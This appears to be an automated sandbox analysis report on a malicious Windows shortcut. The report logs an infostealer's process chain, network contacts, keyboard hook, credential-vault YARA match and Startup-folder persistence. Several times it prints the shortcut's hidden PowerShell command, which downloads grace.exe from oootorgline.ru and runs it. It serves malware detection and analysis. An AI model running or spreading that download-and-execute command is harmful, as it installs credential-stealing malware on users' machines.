Source: powershell.exe, 00000000.00000002.2296430995.000002213F920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000000.00000002.2262113733.0000022127651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.2262113733.0000022127882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2262113733.0000022128282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.2287618621.00000221376BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.2262113733.0000022128282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oootorgline.ru
Source: powershell.exe, 00000000.00000002.2262113733.0000022129169000.00000004.00000800.00020000.00000000.sdmp, RTGS-WB-ABS-240730-NEW.lnk	String found in binary or memory: https://oootorgline.ru/components/grace.exe

Source: unknown	Network traffic detected: HTTP traffic on port 60910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61253
Source: unknown	Network traffic detected: HTTP traffic on port 61253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61245

Source: unknown	HTTPS traffic detected: 176.99.3.36:443 -> 192.168.2.6:61245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.6:61253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:60910 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\file.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Windows shortcut file (LNK) contains suspicious command line arguments

Source: RTGS-WB-ABS-240730-NEW.lnk

LNK file: -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile %TEMP%\file.exe; Start-Process '%TEMP%\file.exe' }"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0167F268	8_2_0167F268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01674BD8	8_2_01674BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0167BC10	8_2_0167BC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01673FC0	8_2_01673FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01674308	8_2_01674308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E55877	8_2_06E55877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E53018	8_2_06E53018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E5B1C9	8_2_06E5B1C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E56188	8_2_06E56188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E55150	8_2_06E55150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E5C130	8_2_06E5C130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E57918	8_2_06E57918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E57238	8_2_06E57238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E5E358	8_2_06E5E358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E50040	8_2_06E50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06E5001F	8_2_06E5001F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DEF268	12_2_00DEF268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DE4308	12_2_00DE4308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DEB440	12_2_00DEB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DE4BD8	12_2_00DE4BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DEBC10	12_2_00DEBC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DE3FC0	12_2_00DE3FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00DE0D24	12_2_00DE0D24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06632348	12_2_06632348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06635150	12_2_06635150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0663C130	12_2_0663C130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06637918	12_2_06637918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0663B1D8	12_2_0663B1D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06636188	12_2_06636188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06637238	12_2_06637238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0663E358	12_2_0663E358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06630040	12_2_06630040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06635888	12_2_06635888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06630023	12_2_06630023
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_06630007	12_2_06630007

Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winLNK@17/13@8/5

Source: C:\Users\user\AppData\Local\Temp\file.exe

File created: C:\Users\user\AppData\Local\unspattered

Jump to behavior

Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:884:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_duy0shnp.1z5.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: RTGS-WB-ABS-240730-NEW.lnk

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file.exe "C:\Users\user\AppData\Local\Temp\file.exe"
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process created: C:\Users\user\AppData\Local\unspattered\recomplaint.exe "C:\Users\user\AppData\Local\Temp\file.exe"
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\file.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\unspattered\recomplaint.exe "C:\Users\user\AppData\Local\unspattered\recomplaint.exe"
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\unspattered\recomplaint.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe "C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe"
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe "C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe"
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file.exe "C:\Users\user\AppData\Local\Temp\file.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process created: C:\Users\user\AppData\Local\unspattered\recomplaint.exe "C:\Users\user\AppData\Local\Temp\file.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\file.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\unspattered\recomplaint.exe "C:\Users\user\AppData\Local\unspattered\recomplaint.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\unspattered\recomplaint.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
